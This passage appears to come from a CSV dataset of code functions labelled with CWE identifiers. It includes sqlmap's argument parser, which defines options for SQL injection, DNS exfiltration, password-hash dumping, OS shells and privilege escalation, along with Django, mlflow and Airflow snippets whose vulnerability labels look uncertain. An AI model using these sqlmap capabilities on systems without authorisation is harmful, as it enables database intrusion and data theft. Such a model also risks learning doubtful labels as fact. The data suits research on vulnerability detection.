            help=""String to match when query is evaluated to True"")

        detection.add_argument(""--not-string"", dest=""notString"",
            help=""String to match when query is evaluated to False"")

        detection.add_argument(""--regexp"", dest=""regexp"",
            help=""Regexp to match when query is evaluated to True"")

        detection.add_argument(""--code"", dest=""code"", type=int,
            help=""HTTP code to match when query is evaluated to True"")

        detection.add_argument(""--smart"", dest=""smart"", action=""store_true"",
            help=""Perform thorough tests only if positive heuristic(s)"")

        detection.add_argument(""--text-only"", dest=""textOnly"", action=""store_true"",
            help=""Compare pages based only on the textual content"")

        detection.add_argument(""--titles"", dest=""titles"", action=""store_true"",
            help=""Compare pages based only on their titles"")

        # Techniques options
        techniques = parser.add_argument_group(""Techniques"", ""These options can be used to tweak testing of specific SQL injection techniques"")

        techniques.add_argument(""--technique"", dest=""technique"",
            help=""SQL injection techniques to use (default \""%s\"")"" % defaults.technique)

        techniques.add_argument(""--time-sec"", dest=""timeSec"", type=int,
            help=""Seconds to delay the DBMS response (default %d)"" % defaults.timeSec)

        techniques.add_argument(""--union-cols"", dest=""uCols"",
            help=""Range of columns to test for UNION query SQL injection"")

        techniques.add_argument(""--union-char"", dest=""uChar"",
            help=""Character to use for bruteforcing number of columns"")

        techniques.add_argument(""--union-from"", dest=""uFrom"",
            help=""Table to use in FROM part of UNION query SQL injection"")

        techniques.add_argument(""--dns-domain"", dest=""dnsDomain"",
            help=""Domain name used for DNS exfiltration attack"")

        techniques.add_argument(""--second-url"", dest=""secondUrl"",
            help=""Resulting page URL searched for second-order response"")

        techniques.add_argument(""--second-req"", dest=""secondReq"",
            help=""Load second-order HTTP request from file"")

        # Fingerprint options
        fingerprint = parser.add_argument_group(""Fingerprint"")

        fingerprint.add_argument(""-f"", ""--fingerprint"", dest=""extensiveFp"", action=""store_true"",
            help=""Perform an extensive DBMS version fingerprint"")

        # Enumeration options
        enumeration = parser.add_argument_group(""Enumeration"", ""These options can be used to enumerate the back-end database management system information, structure and data contained in the tables"")

        enumeration.add_argument(""-a"", ""--all"", dest=""getAll"", action=""store_true"",
            help=""Retrieve everything"")

        enumeration.add_argument(""-b"", ""--banner"", dest=""getBanner"", action=""store_true"",
            help=""Retrieve DBMS banner"")

        enumeration.add_argument(""--current-user"", dest=""getCurrentUser"", action=""store_true"",
            help=""Retrieve DBMS current user"")

        enumeration.add_argument(""--current-db"", dest=""getCurrentDb"", action=""store_true"",
            help=""Retrieve DBMS current database"")

        enumeration.add_argument(""--hostname"", dest=""getHostname"", action=""store_true"",
            help=""Retrieve DBMS server hostname"")

        enumeration.add_argument(""--is-dba"", dest=""isDba"", action=""store_true"",
            help=""Detect if the DBMS current user is DBA"")

        enumeration.add_argument(""--users"", dest=""getUsers"", action=""store_true"",
            help=""Enumerate DBMS users"")

        enumeration.add_argument(""--passwords"", dest=""getPasswordHashes"", action=""store_true"",
            help=""Enumerate DBMS users password hashes"")

        enumeration.add_argument(""--privileges"", dest=""getPrivileges"", action=""store_true"",
            help=""Enumerate DBMS users privileges"")

        enumeration.add_argument(""--roles"", dest=""getRoles"", action=""store_true"",
            help=""Enumerate DBMS users roles"")

        enumeration.add_argument(""--dbs"", dest=""getDbs"", action=""store_true"",
            help=""Enumerate DBMS databases"")

        enumeration.add_argument(""--tables"", dest=""getTables"", action=""store_true"",
            help=""Enumerate DBMS database tables"")

        enumeration.add_argument(""--columns"", dest=""getColumns"", action=""store_true"",
            help=""Enumerate DBMS database table columns"")

        enumeration.add_argument(""--schema"", dest=""getSchema"", action=""store_true"",
            help=""Enumerate DBMS schema"")

        enumeration.add_argument(""--count"", dest=""getCount"", action=""store_true"",
            help=""Retrieve number of entries for table(s)"")

        enumeration.add_argument(""--dump"", dest=""dumpTable"", action=""store_true"",
            help=""Dump DBMS database table entries"")

        enumeration.add_argument(""--dump-all"", dest=""dumpAll"", action=""store_true"",
            help=""Dump all DBMS databases tables entries"")

        enumeration.add_argument(""--search"", dest=""search"", action=""store_true"",
            help=""Search column(s), table(s) and/or database name(s)"")

        enumeration.add_argument(""--comments"", dest=""getComments"", action=""store_true"",
            help=""Check for DBMS comments during enumeration"")

        enumeration.add_argument(""--statements"", dest=""getStatements"", action=""store_true"",
            help=""Retrieve SQL statements being run on DBMS"")

        enumeration.add_argument(""-D"", dest=""db"",
            help=""DBMS database to enumerate"")

        enumeration.add_argument(""-T"", dest=""tbl"",
            help=""DBMS database table(s) to enumerate"")

        enumeration.add_argument(""-C"", dest=""col"",
            help=""DBMS database table column(s) to enumerate"")

        enumeration.add_argument(""-X"", dest=""exclude"",
            help=""DBMS database identifier(s) to not enumerate"")

        enumeration.add_argument(""-U"", dest=""user"",
            help=""DBMS user to enumerate"")

        enumeration.add_argument(""--exclude-sysdbs"", dest=""excludeSysDbs"", action=""store_true"",
            help=""Exclude DBMS system databases when enumerating tables"")

        enumeration.add_argument(""--pivot-column"", dest=""pivotColumn"",
            help=""Pivot column name"")

        enumeration.add_argument(""--where"", dest=""dumpWhere"",
            help=""Use WHERE condition while table dumping"")

        enumeration.add_argument(""--start"", dest=""limitStart"", type=int,
            help=""First dump table entry to retrieve"")

        enumeration.add_argument(""--stop"", dest=""limitStop"", type=int,
            help=""Last dump table entry to retrieve"")

        enumeration.add_argument(""--first"", dest=""firstChar"", type=int,
            help=""First query output word character to retrieve"")

        enumeration.add_argument(""--last"", dest=""lastChar"", type=int,
            help=""Last query output word character to retrieve"")

        enumeration.add_argument(""--sql-query"", dest=""sqlQuery"",
            help=""SQL statement to be executed"")

        enumeration.add_argument(""--sql-shell"", dest=""sqlShell"", action=""store_true"",
            help=""Prompt for an interactive SQL shell"")

        enumeration.add_argument(""--sql-file"", dest=""sqlFile"",
            help=""Execute SQL statements from given file(s)"")

        # Brute force options
        brute = parser.add_argument_group(""Brute force"", ""These options can be used to run brute force checks"")

        brute.add_argument(""--common-tables"", dest=""commonTables"", action=""store_true"",
            help=""Check existence of common tables"")

        brute.add_argument(""--common-columns"", dest=""commonColumns"", action=""store_true"",
            help=""Check existence of common columns"")

        brute.add_argument(""--common-files"", dest=""commonFiles"", action=""store_true"",
            help=""Check existence of common files"")

        # User-defined function options
        udf = parser.add_argument_group(""User-defined function injection"", ""These options can be used to create custom user-defined functions"")

        udf.add_argument(""--udf-inject"", dest=""udfInject"", action=""store_true"",
            help=""Inject custom user-defined functions"")

        udf.add_argument(""--shared-lib"", dest=""shLib"",
            help=""Local path of the shared library"")

        # File system options
        filesystem = parser.add_argument_group(""File system access"", ""These options can be used to access the back-end database management system underlying file system"")

        filesystem.add_argument(""--file-read"", dest=""fileRead"",
            help=""Read a file from the back-end DBMS file system"")

        filesystem.add_argument(""--file-write"", dest=""fileWrite"",
            help=""Write a local file on the back-end DBMS file system"")

        filesystem.add_argument(""--file-dest"", dest=""fileDest"",
            help=""Back-end DBMS absolute filepath to write to"")

        # Takeover options
        takeover = parser.add_argument_group(""Operating system access"", ""These options can be used to access the back-end database management system underlying operating system"")

        takeover.add_argument(""--os-cmd"", dest=""osCmd"",
            help=""Execute an operating system command"")

        takeover.add_argument(""--os-shell"", dest=""osShell"", action=""store_true"",
            help=""Prompt for an interactive operating system shell"")

        takeover.add_argument(""--os-pwn"", dest=""osPwn"", action=""store_true"",
            help=""Prompt for an OOB shell, Meterpreter or VNC"")

        takeover.add_argument(""--os-smbrelay"", dest=""osSmb"", action=""store_true"",
            help=""One click prompt for an OOB shell, Meterpreter or VNC"")

        takeover.add_argument(""--os-bof"", dest=""osBof"", action=""store_true"",
            help=""Stored procedure buffer overflow ""
                                 ""exploitation"")

        takeover.add_argument(""--priv-esc"", dest=""privEsc"", action=""store_true"",
            help=""Database process user privilege escalation"")

        takeover.add_argument(""--msf-path"", dest=""msfPath"",
            help=""Local path where Metasploit Framework is installed"")

        takeover.add_argument(""--tmp-path"", dest=""tmpPath"",
            help=""Remote absolute path of temporary files directory"")

        # Windows registry options
        windows = parser.add_argument_group(""Windows registry access"", ""These options can be used to access the back-end database management system Windows registry"")

        windows.add_argument(""--reg-read"", dest=""regRead"", action=""store_true"",
            help=""Read a Windows registry key value"")

        windows.add_argument(""--reg-add"", dest=""regAdd"", action=""store_true"",
            help=""Write a Windows registry key value data"")

        windows.add_argument(""--reg-del"", dest=""regDel"", action=""store_true"",
            help=""Delete a Windows registry key value"")

        windows.add_argument(""--reg-key"", dest=""regKey"",
            help=""Windows registry key"")

        windows.add_argument(""--reg-value"", dest=""regVal"",
            help=""Windows registry key value"")

        windows.add_argument(""--reg-data"", dest=""regData"",
            help=""Windows registry key value data"")

        windows.add_argument(""--reg-type"", dest=""regType"",
            help=""Windows registry key value type"")

        # General options
        general = parser.add_argument_group(""General"", ""These options can be used to set some general working parameters"")

        general.add_argument(""-s"", dest=""sessionFile"",
            help=""Load session from a stored (.sqlite) file"")

        general.add_argument(""-t"", dest=""trafficFile"",
            help=""Log all HTTP traffic into a textual file"")

        general.add_argument(""--answers"", dest=""answers"",
            help=""Set predefined answers (e.g. \""quit=N,follow=N\"")"")

        general.add_argument(""--base64"", dest=""base64Parameter"",
            help=""Parameter(s) containing Base64 encoded data"")

        general.add_argument(""--base64-safe"", dest=""base64Safe"", action=""store_true"",
            help=""Use URL and filename safe Base64 alphabet (RFC 4648)"")

        general.add_argument(""--batch"", dest=""batch"", action=""store_true"",
            help=""Never ask for user input, use the default behavior"")

        general.add_argument(""--binary-fields"", dest=""binaryFields"",
            help=""Result fields having binary values (e.g. \""digest\"")"")

        general.add_argument(""--check-internet"", dest=""checkInternet"", action=""store_true"",
            help=""Check Internet connection before assessing the target"")

        general.add_argument(""--cleanup"", dest=""cleanup"", action=""store_true"",
            help=""Clean up the DBMS from sqlmap specific UDF and tables"")

        general.add_argument(""--crawl"", dest=""crawlDepth"", type=int,
            help=""Crawl the website starting from the target URL"")

        general.add_argument(""--crawl-exclude"", dest=""crawlExclude"",
            help=""Regexp to exclude pages from crawling (e.g. \""logout\"")"")

        general.add_argument(""--csv-del"", dest=""csvDel"",
            help=""Delimiting character used in CSV output (default \""%s\"")"" % defaults.csvDel)

        general.add_argument(""--charset"", dest=""charset"",
            help=""Blind SQL injection charset (e.g. \""0123456789abcdef\"")"")

        general.add_argument(""--dump-format"", dest=""dumpFormat"",
            help=""Format of dumped data (CSV (default), HTML or SQLITE)"")

        general.add_argument(""--encoding"", dest=""encoding"",
            help=""Character encoding used for data retrieval (e.g. GBK)"")

        general.add_argument(""--eta"", dest=""eta"", action=""store_true"",
            help=""Display for each output the estimated time of arrival"")

        general.add_argument(""--flush-session"", dest=""flushSession"", action=""store_true"",
            help=""Flush session files for current target"")

        general.add_argument(""--forms"", dest=""forms"", action=""store_true"",
            help=""Parse and test forms on target URL"")

        general.add_argument(""--fresh-queries"", dest=""freshQueries"", action=""store_true"",
            help=""Ignore query results stored in session file"")

        general.add_argument(""--gpage"", dest=""googlePage"", type=int,
            help=""Use Google dork results from specified page number"")

        general.add_argument(""--har"", dest=""harFile"",
            help=""Log all HTTP traffic into a HAR file"")

        general.add_argument(""--hex"", dest=""hexConvert"", action=""store_true"",
            help=""Use hex conversion during data retrieval"")

        general.add_argument(""--output-dir"", dest=""outputDir"", action=""store"",
            help=""Custom output directory path"")

        general.add_argument(""--parse-errors"", dest=""parseErrors"", action=""store_true"",
            help=""Parse and display DBMS error messages from responses"")

        general.add_argument(""--preprocess"", dest=""preprocess"",
            help=""Use given script(s) for preprocessing of response data"")

        general.add_argument(""--repair"", dest=""repair"", action=""store_true"",
            help=""Redump entries having unknown character marker (%s)"" % INFERENCE_UNKNOWN_CHAR)

        general.add_argument(""--save"", dest=""saveConfig"",
            help=""Save options to a configuration INI file"")

        general.add_argument(""--scope"", dest=""scope"",
            help=""Regexp for filtering targets"")

        general.add_argument(""--skip-waf"", dest=""skipWaf"", action=""store_true"",
            help=""Skip heuristic detection of WAF/IPS protection"")

        general.add_argument(""--table-prefix"", dest=""tablePrefix"",
            help=""Prefix used for temporary tables (default: \""%s\"")"" % defaults.tablePrefix)

        general.add_argument(""--test-filter"", dest=""testFilter"",
            help=""Select tests by payloads and/or titles (e.g. ROW)"")

        general.add_argument(""--test-skip"", dest=""testSkip"",
            help=""Skip tests by payloads and/or titles (e.g. BENCHMARK)"")

        general.add_argument(""--web-root"", dest=""webRoot"",
            help=""Web server document root directory (e.g. \""/var/www\"")"")

        # Miscellaneous options
        miscellaneous = parser.add_argument_group(""Miscellaneous"", ""These options do not fit into any other category"")

        miscellaneous.add_argument(""-z"", dest=""mnemonics"",
            help=""Use short mnemonics (e.g. \""flu,bat,ban,tec=EU\"")"")

        miscellaneous.add_argument(""--alert"", dest=""alert"",
            help=""Run host OS command(s) when SQL injection is found"")

        miscellaneous.add_argument(""--beep"", dest=""beep"", action=""store_true"",
            help=""Beep on question and/or when SQL injection is found"")

        miscellaneous.add_argument(""--dependencies"", dest=""dependencies"", action=""store_true"",
            help=""Check for missing (optional) sqlmap dependencies"")

        miscellaneous.add_argument(""--disable-coloring"", dest=""disableColoring"", action=""store_true"",
            help=""Disable console output coloring"")

        miscellaneous.add_argument(""--list-tampers"", dest=""listTampers"", action=""store_true"",
            help=""Display list of available tamper scripts"")

        miscellaneous.add_argument(""--offline"", dest=""offline"", action=""store_true"",
            help=""Work in offline mode (only use session data)"")

        miscellaneous.add_argument(""--purge"", dest=""purge"", action=""store_true"",
            help=""Safely remove all content from sqlmap data directory"")

        miscellaneous.add_argument(""--results-file"", dest=""resultsFile"",
            help=""Location of CSV results file in multiple targets mode"")

        miscellaneous.add_argument(""--sqlmap-shell"", dest=""sqlmapShell"", action=""store_true"",
            help=""Prompt for an interactive sqlmap shell"")

        miscellaneous.add_argument(""--tmp-dir"", dest=""tmpDir"",
            help=""Local directory for storing temporary files"")

        miscellaneous.add_argument(""--unstable"", dest=""unstable"", action=""store_true"",
            help=""Adjust options for unstable connections"")

        miscellaneous.add_argument(""--update"", dest=""updateAll"", action=""store_true"",
            help=""Update sqlmap"")

        miscellaneous.add_argument(""--wizard"", dest=""wizard"", action=""store_true"",
            help=""Simple wizard interface for beginner users"")

        # Hidden and/or experimental options
        parser.add_argument(""--crack"", dest=""hashFile"",
            help=SUPPRESS)  # ""Load and crack hashes from a file (standalone)""

        parser.add_argument(""--dummy"", dest=""dummy"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--murphy-rate"", dest=""murphyRate"", type=int,
            help=SUPPRESS)

        parser.add_argument(""--debug"", dest=""debug"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-multi"", dest=""disableMulti"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-precon"", dest=""disablePrecon"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-stats"", dest=""disableStats"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--profile"", dest=""profile"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-dbms"", dest=""forceDbms"",
            help=SUPPRESS)

        parser.add_argument(""--force-dns"", dest=""forceDns"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-partial"", dest=""forcePartial"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-pivoting"", dest=""forcePivoting"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--non-interactive"", dest=""nonInteractive"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--gui"", dest=""gui"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--smoke-test"", dest=""smokeTest"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--vuln-test"", dest=""vulnTest"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--bed-test"", dest=""bedTest"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--fuzz-test"", dest=""fuzzTest"", action=""store_true"",
            help=SUPPRESS)

        # API options
        parser.add_argument(""--api"", dest=""api"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--taskid"", dest=""taskid"",
            help=SUPPRESS)

        parser.add_argument(""--database"", dest=""database"",
            help=SUPPRESS)

        # Dirty hack to display longer options without breaking into two lines
        if hasattr(parser, ""formatter""):
            def _(self, *args):
                retVal = parser.formatter._format_option_strings(*args)
                if len(retVal) > MAX_HELP_OPTION_LENGTH:
                    retVal = (""%%.%ds.."" % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal
                return retVal

            parser.formatter._format_option_strings = parser.formatter.format_option_strings
            parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser)
        else:
            def _format_action_invocation(self, action):
                retVal = self.__format_action_invocation(action)
                if len(retVal) > MAX_HELP_OPTION_LENGTH:
                    retVal = (""%%.%ds.."" % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal
                return retVal

            parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation
            parser.formatter_class._format_action_invocation = _format_action_invocation

        # Dirty hack for making a short option '-hh'
        if hasattr(parser, ""get_option""):
            option = parser.get_option(""--hh"")
            option._short_opts = [""-hh""]
            option._long_opts = []
        else:
            for action in get_actions(parser):
                if action.option_strings == [""--hh""]:
                    action.option_strings = [""-hh""]
                    break

        # Dirty hack for inherent help message of switch '-h'
        if hasattr(parser, ""get_option""):
            option = parser.get_option(""-h"")
            option.help = option.help.capitalize().replace(""this help"", ""basic help"")
        else:
            for action in get_actions(parser):
                if action.option_strings == [""-h"", ""--help""]:
                    action.help = action.help.capitalize().replace(""this help"", ""basic help"")
                    break

        _ = []
        advancedHelp = True
        extraHeaders = []
        auxIndexes = {}

        # Reference: https://stackoverflow.com/a/4012683 (Note: previously used ""...sys.getfilesystemencoding() or UNICODE_ENCODING"")
        for arg in argv:
            _.append(getUnicode(arg, encoding=sys.stdin.encoding))

        argv = _
        checkOldOptions(argv)

        if ""--gui"" in argv:
            from lib.core.gui import runGui

            runGui(parser)

            raise SqlmapSilentQuitException

        elif ""--sqlmap-shell"" in argv:
            _createHomeDirectories()

            parser.usage = """"
            cmdLineOptions.sqlmapShell = True

            commands = set((""x"", ""q"", ""exit"", ""quit"", ""clear""))
            commands.update(get_all_options(parser))

            autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands)

            while True:
                command = None

                try:
                    # Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170)
                    command = _input(""sqlmap-shell> "").strip()
                except (KeyboardInterrupt, EOFError):
                    print()
                    raise SqlmapShellQuitException

                if not command:
                    continue
                elif command.lower() == ""clear"":
                    clearHistory()
                    dataToStdout(""[i] history cleared\n"")
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                elif command.lower() in (""x"", ""q"", ""exit"", ""quit""):
                    raise SqlmapShellQuitException
                elif command[0] != '-':
                    dataToStdout(""[!] invalid option(s) provided\n"")
                    dataToStdout(""[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'\n"")
                else:
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    loadHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    break

            try:
                for arg in shlex.split(command):
                    argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
            except ValueError as ex:
                raise SqlmapSyntaxException(""something went wrong during command line parsing ('%s')"" % getSafeExString(ex))

        longOptions = set(re.findall(r""\-\-([^= ]+?)="", parser.format_help()))
        longSwitches = set(re.findall(r""\-\-([^= ]+?)\s"", parser.format_help()))

        for i in xrange(len(argv)):
            # Reference: https://en.wiktionary.org/wiki/-
            argv[i] = re.sub(u""\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+"", lambda match: '-' * len(match.group(0)), argv[i])

            # Reference: https://unicode-table.com/en/sets/quotation-marks/
            argv[i] = argv[i].strip(u""\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C"")

            if argv[i] == ""-hh"":
                argv[i] = ""-h""
            elif i == 1 and re.search(r""\A(http|www\.|\w[\w.-]+\.\w{2,})"", argv[i]) is not None:
                argv[i] = ""--url=%s"" % argv[i]
            elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
                dataToStdout(""[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n"" % argv[i])
                raise SystemExit
            elif len(argv[i]) > 1 and u""\uff0c"" in argv[i].split('=', 1)[-1]:
                dataToStdout(""[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n"" % argv[i])
                raise SystemExit
            elif re.search(r""\A-\w=.+"", argv[i]):
                dataToStdout(""[!] potentially miswritten (illegal '=') short option detected ('%s')\n"" % argv[i])
                raise SystemExit
            elif re.search(r""\A-\w{3,}"", argv[i]):
                if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
                    argv[i] = ""-%s"" % argv[i]
            elif argv[i] in IGNORED_OPTIONS:
                argv[i] = """"
            elif argv[i] in DEPRECATED_OPTIONS:
                argv[i] = """"
            elif any(argv[i].startswith(_) for _ in (""--tamper"",)):
                key = re.search(r""\-\-(\w+)"", argv[i]).group(1)
                index = auxIndexes.get(key, None)
                if index is None:
                    index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
                    auxIndexes[key] = index
                else:
                    delimiter = ','
                    argv[index] = ""%s%s%s"" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else """"))
                    argv[i] = """"
            elif argv[i] in (""-H"", ""--header"") or any(argv[i].startswith(""%s="" % _) for _ in (""-H"", ""--header"")):
                if '=' in argv[i]:
                    extraHeaders.append(argv[i].split('=', 1)[1])
                elif i + 1 < len(argv):
                    extraHeaders.append(argv[i + 1])
            elif argv[i] == ""--deps"":
                argv[i] = ""--dependencies""
            elif argv[i] == ""--disable-colouring"":
                argv[i] = ""--disable-coloring""
            elif argv[i] == ""-r"":
                for j in xrange(i + 2, len(argv)):
                    value = argv[j]
                    if os.path.isfile(value):
                        argv[i + 1] += "",%s"" % value
                        argv[j] = ''
                    else:
                        break
            elif re.match(r""\A\d+!\Z"", argv[i]) and argv[max(0, i - 1)] == ""--threads"" or re.match(r""\A--threads.+\d+!\Z"", argv[i]):
                argv[i] = argv[i][:-1]
                conf.skipThreadCheck = True
            elif argv[i] == ""--version"":
                print(VERSION_STRING.split('/')[-1])
                raise SystemExit
            elif argv[i] in (""-h"", ""--help""):
                advancedHelp = False
                for group in get_groups(parser)[:]:
                    found = False
                    for option in get_actions(group):
                        if option.dest not in BASIC_HELP_ITEMS:
                            option.help = SUPPRESS
                        else:
                            found = True
                    if not found:
                        get_groups(parser).remove(group)
            elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r""\A-\w\Z"", argv[i - 1]) is None:
                dataToStdout(""[!] detected usage of long-option without a starting hyphen ('%s')\n"" % argv[i])
                raise SystemExit

        for verbosity in (_ for _ in argv if re.search(r""\A\-v+\Z"", _)):
            try:
                if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
                    conf.verbose = verbosity.count('v') + 1
                    del argv[argv.index(verbosity)]
            except (IndexError, ValueError):
                pass

        try:
            (args, _) = parser.parse_known_args(argv) if hasattr(parser, ""parse_known_args"") else parser.parse_args(argv)
        except UnicodeEncodeError as ex:
            dataToStdout(""\n[!] %s\n"" % getUnicode(ex.object.encode(""unicode-escape"")))
            raise SystemExit
        except SystemExit:
            if ""-h"" in argv and not advancedHelp:
                dataToStdout(""\n[!] to see full list of options run with '-hh'\n"")
            raise

        if extraHeaders:
            if not args.headers:
                args.headers = """"
            delimiter = ""\\n"" if ""\\n"" in args.headers else ""\n""
            args.headers += delimiter + delimiter.join(extraHeaders)

        # Expand given mnemonic options (e.g. -z ""ign,flu,bat"")
        for i in xrange(len(argv) - 1):
            if argv[i] == ""-z"":
                expandMnemonics(argv[i + 1], parser, args)

        if args.dummy:
            args.url = args.url or DUMMY_URL

        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
            errMsg = ""missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). ""
            errMsg += ""Use -h for basic and -hh for advanced help\n""
            parser.error(errMsg)

        return args

    except (ArgumentError, TypeError) as ex:
        parser.error(ex)

    except SystemExit:
        # Protection against Windows dummy double clicking
        if IS_WIN:
            dataToStdout(""\nPress Enter to continue..."")
            _input()
        raise

    debugMsg = ""parsing command line""
    logger.debug(debugMsg)"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/introspection.py,1,"def get_relations(cursor, table_name):
    """"""
    Returns a dictionary of {field_index: (field_index_other_table, other_table)}
    representing all relationships to the given table. Indexes are 0-based.
    """"""    
    cursor.execute(""""""
SELECT ta.column_id - 1, tb.table_name, tb.column_id - 1
FROM   user_constraints, USER_CONS_COLUMNS ca, USER_CONS_COLUMNS cb,
       user_tab_cols ta, user_tab_cols tb
WHERE  user_constraints.table_name = %s AND
       ta.table_name = %s AND
       ta.column_name = ca.column_name AND
       ca.table_name = %s AND
       user_constraints.constraint_name = ca.constraint_name AND
       user_constraints.r_constraint_name = cb.constraint_name AND
       cb.table_name = tb.table_name AND
       cb.column_name = tb.column_name AND
       ca.position = cb.position"""""", [table_name, table_name, table_name])

    relations = {}
    for row in cursor.fetchall():
        relations[row[0]] = (row[2], row[1])
    return relations",CWE-89,django/django,2ef60b546bbd40556e86ca63f4df8c43e246a9fe,"def get_relations(cursor, table_name):
    """"""
    Returns a dictionary of {field_index: (field_index_other_table, other_table)}
    representing all relationships to the given table. Indexes are 0-based.
    """"""    
    cursor.execute(""""""
SELECT ta.column_id - 1, tb.table_name, tb.column_id - 1
FROM   user_constraints, USER_CONS_COLUMNS ca, USER_CONS_COLUMNS cb,
user_tab_cols ta, user_tab_cols tb
WHERE  user_constraints.table_name = %s AND
      ta.table_name = %s AND
      ta.column_name = ca.column_name AND
      ca.table_name = %s AND
      user_constraints.constraint_name = ca.constraint_name AND
      user_constraints.r_constraint_name = cb.constraint_name AND
      cb.table_name = tb.table_name AND
      cb.column_name = tb.column_name AND
      ca.position = cb.position"""""", [table_name, table_name, table_name])

    relations = {}
    for row in cursor.fetchall():
        relations[row[0]] = (row[2], row[1])
    return relations"
,UNKNOWN,UNKNOWN,tests/transformers/test_transformers_model_export.py,1,"def test_load_as_pipeline_preserves_framework_and_dtype(model_path):
    task = ""translation_en_to_fr""

    # Many of the 'full configuration' arguments specified are not stored as instance arguments
    # for a pipeline; rather, they are only used when acquiring the pipeline components from
    # the huggingface hub at initial pipeline creation. If a pipeline is specified, it is
    # irrelevant to store these.
    full_config_pipeline = transformers.pipeline(
        task=task,
        model=transformers.T5ForConditionalGeneration.from_pretrained(""t5-small""),
        tokenizer=transformers.T5TokenizerFast.from_pretrained(""t5-small"", model_max_length=100),
        framework=""pt"",
        torch_dtype=torch.bfloat16,
    )

    mlflow.transformers.save_model(
        transformers_model=full_config_pipeline,
        path=model_path,
    )

    base_loaded = mlflow.transformers.load_model(model_path)
    assert base_loaded.torch_dtype == torch.bfloat16
    assert base_loaded.framework == ""pt""
    assert base_loaded.model.dtype == torch.bfloat16

    loaded_pipeline = mlflow.transformers.load_model(model_path, torch_dtype=torch.float64)

    assert loaded_pipeline.torch_dtype == torch.float64
    assert loaded_pipeline.framework == ""pt""
    assert loaded_pipeline.model.dtype == torch.float64

    prediction = loaded_pipeline.predict(""Hello there. How are you today?"")
    assert prediction[0]['translation_text'].startswith('Bonjour')",CWE-703,mlflow/mlflow,e39ca85e38e30dbb91eb9e9ca535ce4573992c2e,"def test_load_as_pipeline_preserves_framework_and_dtype(model_path):
    task = ""translation_en_to_fr""

    # Many of the 'full configuration' arguments specified are not stored as instance arguments
    # for a pipeline; rather, they are only used when acquiring the pipeline components from
    # the huggingface hub at initial pipeline creation. If a pipeline is specified, it is
    # irrelevant to store these.
    full_config_pipeline = transformers.pipeline(
        task=task,
        model=transformers.T5ForConditionalGeneration.from_pretrained(""t5-small""),
        tokenizer=transformers.T5TokenizerFast.from_pretrained(""t5-small"", model_max_length=100),
        framework=""pt"",
        torch_dtype=torch.bfloat16,
    )

    mlflow.transformers.save_model(
        transformers_model=full_config_pipeline,
        path=model_path,
    )

    base_loaded = mlflow.transformers.load_model(model_path)
    assert base_loaded.torch_dtype == torch.bfloat16
    assert base_loaded.framework == ""pt""
    assert base_loaded.model.dtype == torch.bfloat16

    loaded_pipeline = mlflow.transformers.load_model(model_path, torch_dtype=torch.float64)

    assert loaded_pipeline.torch_dtype == torch.float64
    assert loaded_pipeline.framework == ""pt""
    assert loaded_pipeline.model.dtype == torch.float64

    prediction = loaded_pipeline.predict(""Hello there. How are you today?"")
    assert prediction['translation_text'].startswith('Bonjour')"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/plugins_manager.py,0,"def on_load(cls, *args, **kwargs):
        """"""
        Executed when the plugin is loaded.
        This method is only called once during runtime.

        :param args: If future arguments are passed in on call.
        :param kwargs: If future arguments are passed in on call.
        """"""",CWE-Unknown,apache/airflow,783a3759bfb072ed5108cf02a2bfa15de0d86c9c,"def on_load(cls, *args, **kwargs):
        """"""
        Executed when the plugin is loaded.
        This method is only called once during runtime.

        :param args: If future arguments are passed in on call.
        :param kwargs: If future arguments are passed in on call.
        """"""
        pass"
